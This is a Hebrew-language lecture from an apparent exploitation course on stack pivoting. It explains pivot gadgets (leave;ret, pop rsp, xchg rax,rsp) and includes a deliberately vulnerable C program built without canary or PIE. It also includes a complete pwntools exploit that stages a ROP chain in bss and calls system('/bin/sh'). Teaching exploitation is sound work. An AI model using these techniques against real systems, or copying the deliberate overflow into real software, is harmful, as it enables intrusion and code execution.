6.1 stack pivoting הרצאה
עד עכשיו בנינו ROP chains והנחנו בשקט שיש לנו מספיק מקום על המחסנית כדי לפרוש אותן. בעולם האמיתי זה כמעט אף פעם לא המצב. הרבה פעמים הoverflow קצרה - יש לכם שליטה על return address ועוד סלוט אחד או שניים, וזהו. exploit chain אמיתית (leak של libc, קריאה ל-system, טיפול בalignment המחסנית) פשוט לא נכנסת במרחב כזה. בהרצאה הזו נלמד את הטריק שפותר בדיוק את הבעיה הזו: הזזת המחסנית - stack pivoting. הרעיון הוא להזיז את rsp לאזור זיכרון אחר שאנחנו שולטים בו, אזור שבו כבר הכנו מראש ROP chain ארוכה ומלאה.
הבעיה - כשאין מספיק מקום לchain¶
בואו נדייק את התרחיש. נניח buffer של 64 בתים, ואחריו על המחסנית יש את ה-saved rbp (8 בתים) ואת return address (8 בתים). הפונקציה שקוראת את הקלט קוראת בדיוק 80 בתים - לא יותר:
high addresses
+---------------------------+
| return address | <-- bytes 72..79, our control ends here
+---------------------------+
| saved rbp | <-- bytes 64..71
+---------------------------+
| char buf[64] | <-- bytes 0..63
+---------------------------+
low addresses
יש לנו בדיוק מספיק כדי לדרוס את saved rbp ואת return address, ואפס בתים אחריהם. איך נבנה ROP chain במרחב כזה? ret2libc chain צנועה דורשת לפחות ארבעה סלוטים: pop rdi ; ret, כתובת של /bin/sh, גאדג'ט ret לalignment, וכתובת system. זה 32 בתים של chain - שאין לנו לאן לשים.
הפתרון הוא לא לדחוס את הchain לתוך הoverflow הקצרה, אלא להשתמש בoverflow הקצרה רק כדי לבצע קפיצה אחת חכמה: להזיז את rsp לאזור אחר, גדול וכתיב, שבו כבר מחכה הchain המלאה.
מה זה הזזת מחסנית - stack pivot¶
הרעיון פשוט ברמת העיקרון: rsp הוא זה שקובע מאיפה ret שולף את הכתובת הבאה. אם נשלוט ב-rsp, נשלוט לחלוטין באיזו "מחסנית" הפרוססור מבצע. אז במקום להריץ את הchain מהמחסנית האמיתית, נגרום ל-rsp להצביע לאזור שהכנו מראש - למשל אל תוך ה-bss או ה-heap - ומשם הchain תרוץ בלי מגבלת גודל.
real stack (small space) staged area in bss (large space)
+------------------------+ +---------------------------+
| ...buf... | | pop rdi ; ret |
| saved rbp (overwritten)| | address "/bin/sh" |
| return addr (overwritten)| ===>| ret (alignment) |
+------------------------+ | system |
pivot moves rsp here | ...and more, and more... |
+---------------------------+
התהליך תמיד מתחלק לשני חלקים:
- כתיבת הchain הגדולה אל אזור בכתובת ידועה וכתיבה (בדרך כלל
bss, לפעמים heap). - הפיבוט - להשתמש בoverflow הקצרה כדי להזיז את
rspאל אותו אזור.
שלב ראשון - להכין את הchain מראש¶
לפני שאפשר להזיז את המחסנית לאן שהוא, צריך שבמקום ההוא כבר תשב chain. מאיפה היא מגיעה? כמעט תמיד יש בתוכנית קריאת קלט שנכתבת לאזור נתונים גלובלי בכתובת קבועה. לדוגמה:
char stage[0x400]; // large global array in bss
void vuln() {
char buf[64];
read(0, stage, 0x400); // here we write the full chain
read(0, buf, 80); // the short overflow - only for the pivot
}
הקריאה הראשונה ל-stage נותנת לנו לכתוב עד 0x400 בתים אל כתובת קבועה (כי אין PIE, ה-bss יושב במקום ידוע). לשם נכתוב את הchain הארוכה. הקריאה השנייה, הvulnerable, היא הקצרה - ובה נשתמש רק כדי לבצע את הפיבוט. שימו לב לסדר: קודם ממלאים את הבמה, ורק אחר כך מפוצצים - כך שברגע שהפונקציה חוזרת, הchain כבר במקומה.
את הכתובת של אזור הבמה שולפים ישירות מהבינארי:
from pwn import *
elf = ELF('./pivot')
stage = elf.symbols['stage'] # or elf.bss() for a general bss region
log.info('stage @ %#x', stage)
גאדג'טים לפיבוט - pivot gadgets¶
הלב של הטכניקה הוא הגאדג'ט שמזיז את rsp. יש כמה משפחות, וכדאי להכיר את כולן כי לא תמיד כל אחד מהן זמין בבינארי.
הגאדג'ט - leave ; ret¶
זה הגאדג'ט הנפוץ ביותר לפיבוט, מהסיבה הפשוטה שהוא קיים כמעט בכל פונקציה - זה בדיוק האפילוג הסטנדרטי. חשוב להבין מה leave עושה:
כלומר leave מציב את rsp על הערך של rbp. אם נשלוט ב-rbp, נשלוט לאן rsp יקפוץ. וזו בדיוק הנקודה: בoverflow שלנו אנחנו דורסים את ה-saved rbp. בואו נעקוב בזהירות אחרי מה שקורה, כי כאן מתרחשות שתי פעולות leave ברצף.
נניח שדרסנו את saved rbp בכתובת אזור הבמה (stage), ואת return address בכתובת של גאדג'ט leave ; ret. עכשיו הפונקציה vuln מבצעת את האפילוג שלה, שגם הוא leave ; ret:
epilogue of vuln:
leave -> rsp = rbp (points to saved rbp); pop rbp -> rbp = stage, rsp points to the return address
ret -> jumps to the leave ; ret gadget; rbp is now equal to stage
the leave ; ret gadget (now rbp = stage):
leave -> rsp = rbp = stage; pop rbp -> rbp = [stage], rsp = stage+8
ret -> jumps to [stage+8] <-- the first gadget in our chain!
שימו לב לפרט הקריטי: פעולת ה-pop rbp שבתוך ה-leave השני "אוכלת" את 8 הבתים הראשונים באזור הבמה. לכן הchain האמיתית מתחילה ב-stage+8, ואת 8 הבתים הראשונים ב-stage נשאיר כpadding (למשל אפסים). כלומר, מה שנכתוב לאזור הבמה נראה כך:
stage+0 : 8 padding bytes (swallowed by pop rbp)
stage+8 : pop rdi ; ret
stage+16 : address of "/bin/sh"
stage+24 : ret (alignment)
stage+32 : system
והpayload של הoverflow הקצרה נראה כך:
payload = b'A' * 64 # padding up to saved rbp
payload += p64(stage) # saved rbp is overwritten with the stage address
payload += p64(leave_ret) # return address is overwritten with the leave ; ret gadget
הגאדג'ט - pop rsp ; ret¶
זה הפיבוט הכי ישיר שיש. ההוראה pop rsp שולפת ערך מהמחסנית ישירות אל rsp:
אם דרסנו את return address בכתובת של pop rsp ; ret, ומיד אחריה שמנו את כתובת הבמה, אז:
אחרי ה-pop rsp, מתקיים rsp = stage, וה-ret שאחריו שולף את [stage] - כאן אין את בעיית ה-pop rbp הכפולה, אז הchain יכולה להתחיל כבר ב-stage+0. החיסרון: הגאדג'ט הזה (5c c3 בקוד מכונה) הרבה פחות נפוץ מ-leave ; ret.
הגאדג'ט - xchg rax, rsp ; ret¶
מחליף בין rax ל-rsp:
הגאדג'ט הזה מבריק כשיש לנו כבר שליטה על rax. מתי זה קורה? ערך ההחזרה של פונקציות מגיע ב-rax. לדוגמה, read מחזיר את מספר הבתים שנקראו, ו-gets/fgets מחזירים מצביע לbuffer. אם נצליח לגרום ל-rax להכיל את כתובת הבמה שלנו (למשל דרך גאדג'ט pop rax ; ret, או דרך ערך החזרה של קריאה), אז xchg rax, rsp ; ret מפנה את המחסנית לשם בבת אחת.
הגאדג'ט - add rsp, N ; ret¶
זה לא באמת "פיבוט" לאזור אחר, אלא הזזה יחסית של המחסנית:
מתי זה שימושי? כשהchain שלנו קטועה על ידי משהו באמצע (למשל בתים שנחסמים), או כשרוצים "לדלג" מעל אזור על המחסנית. יש גם את התאום sub rsp, N ; ret להזזה אחורה. ההוראות האלה שימושיות גם לalignment עדין של המחסנית לפני קריאה ל-system.
איך מוצאים את גאדג'טי הפיבוט¶
הכל דרך ROPgadget או ropper, עם grep ממוקד:
# leave ; ret - almost always present
ROPgadget --binary ./pivot | grep ': leave ; ret'
# pop rsp - rarer
ROPgadget --binary ./pivot | grep 'pop rsp'
# xchg with rsp
ROPgadget --binary ./pivot | grep 'xchg' | grep 'rsp'
# relative moves
ROPgadget --binary ./pivot | grep -E 'add rsp|sub rsp'
הספרייה pwntools יודעת גם לעשות את זה בשבילכם עם rop.find_gadget(['leave']), ואפילו יש לה פונקציית rop.migrate(new_sp) שבונה פיבוט אוטומטי. בשלב הלימוד עדיף לבנות ידנית כדי להבין מה קורה.
דוגמה מלאה מקצה לקצה¶
בואו נחבר הכל על בינארי אמיתי. ההגנות: NX פעיל (אז אנחנו ב-ROP), בלי canary (הoverflow עובדת), בלי PIE (כתובות הבמה והגאדג'טים קבועות). את ASLR אפשר להשאיר פעיל כי כל הכתובות שלנו מגיעות מהבינארי עצמו, לא מ-libc.
// pivot.c
// gcc -fno-stack-protector -no-pie -o pivot pivot.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char stage[0x400]; // large bss area for the staging buffer
void unused() {
system("/bin/echo dummy"); // just to pull system and "/bin/sh" into the binary
}
void vuln() {
char buf[64];
write(1, "stage:\n", 7);
read(0, stage, 0x400); // fill the stage with the full chain
write(1, "overflow:\n", 10);
read(0, buf, 80); // short overflow - right up to the end of the return address
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
בודקים הגנות ומאתרים את הרכיבים:
$ checksec --file=./pivot
RELRO STACK CANARY NX PIE
Partial RELRO No canary NX enabled No PIE
$ ROPgadget --binary ./pivot | grep ': leave ; ret'
0x0000000000401185 : leave ; ret
$ ROPgadget --binary ./pivot | grep 'pop rdi ; ret'
0x0000000000401263 : pop rdi ; ret
ועכשיו ה-exploit המלא ב-pwntools:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./pivot')
stage = elf.symbols['stage']
leave_ret = 0x401185
pop_rdi = 0x401263
ret = 0x40101a # single ret gadget for alignment
binsh = next(elf.search(b'/bin/sh\x00'))
system = elf.plt['system']
# stage 1 - the full chain that will sit in the staging area.
# 8 padding bytes at the start because pop rbp of the second leave;ret will swallow them.
chain = p64(0) # padding swallowed by pop rbp
chain += p64(pop_rdi)
chain += p64(binsh)
chain += p64(ret) # align the stack to 16 bytes
chain += p64(system)
# stage 2 - the short overflow that performs the pivot.
pivot = b'A' * 64 # padding up to saved rbp
pivot += p64(stage) # saved rbp -> stage address
pivot += p64(leave_ret) # return addr -> leave ; ret
p = process('./pivot')
p.recvuntil(b'stage:')
p.send(chain) # write the chain to stage
p.recvuntil(b'overflow:')
p.send(pivot) # trigger the pivot
p.interactive()
מה קורה כשמריצים? הקריאה הראשונה כותבת את chain אל stage. הקריאה השנייה דורסת את saved rbp בכתובת stage ואת return address בכתובת של leave ; ret. כש-vuln חוזרת, ה-leave ; ret שלה מעביר את rbp ל-stage, וה-leave ; ret שהפניתי אליו מזיז את rsp אל stage ומתחיל להריץ את הchain מ-stage+8. הchain טוענת ל-rdi את כתובת /bin/sh וקוראת ל-system. התוצאה: shell.
טעויות נפוצות ואבחון¶
- שכחתם את הpadding של 8 הבתים בתחילת הבמה. אז ה-
pop rbpבולע את הגאדג'ט הראשון שלכם, וה-retקופץ לכתובת של/bin/sh- קריסה מיידית. אם אתם מפצחים בעזרתpop rsp ; retבמקוםleave ; ret, הpadding הזה מיותר. - קריסה בתוך
systemעלmovaps. זו בעיית alignment מוכרת מפרק ה-ROP הבסיסי. הוסיפו או הסירו גאדג'טretבודד לפני הקריאה ל-systemכדי ליישר אתrspל-16 בתים. - הבמה לא כתיבה. אם בחרתם אזור שאינו rw (למשל
.text), הכתיבה תיכשל. ודאו שהכתובת שבחרתם נמצאת ב-bss/.data/heap. אפשר לאמת עםvmmapב-pwndbg. - ה-
saved rbpלא באמת בשליטתכם. אם ה-offset שלכם שגוי, אתם דורסים את הדבר הלא נכון. תמיד מדדו את ה-offset עםcyclicלפני שאתם מסתמכים עליו. - שכחתם שהבמה חייבת להיכתב לפני שהפונקציה חוזרת. אם הפכתם את סדר הקריאות, אין chain לקפוץ אליה. הסדר תמיד: קודם ממלאים את הבמה, אחר כך מפוצצים.
סיכום¶
- כשהoverflow קצרה מדי לchain מלאה, מזיזים את המחסנית - stack pivot - לאזור גדול שאנחנו שולטים בו.
- העבודה תמיד בשני שלבים: כותבים את הchain הארוכה מראש לכתובת ידועה וכתיבה (בדרך כלל
bss), ואז משתמשים בoverflow הקצרה כדי להזיז אתrspלשם. - הגאדג'ט
leave ; retהוא הפיבוט הנפוץ ביותר כי הוא קיים בכל אפילוג. הוא שולט ב-rspדרך ה-saved rbpשדרסנו, אבל שימו לב ל-pop rbpהכפול שבולע 8 בתים. pop rsp ; retהוא הפיבוט הישיר והנקי ביותר, אבל נדיר.xchg rax, rsp ; retשימושי כשיש שליטה עלrax.add rsp, N ; retמזיז את המחסנית יחסית.- מוצאים את הגאדג'טים עם
ROPgadget | grep, ומאמתים את הפיבוט ב-gdb על ידי צפייה ב-rspאחרי כלret. - ההנחות:
NXפעיל, בלי canary, בלי PIE (או עם leak שמגלה את הכתובות). כשהבמה ב-libc או תלויה ב-ASLR, נצטרך קודם leak - נגיע לזה בשיעורים הבאים.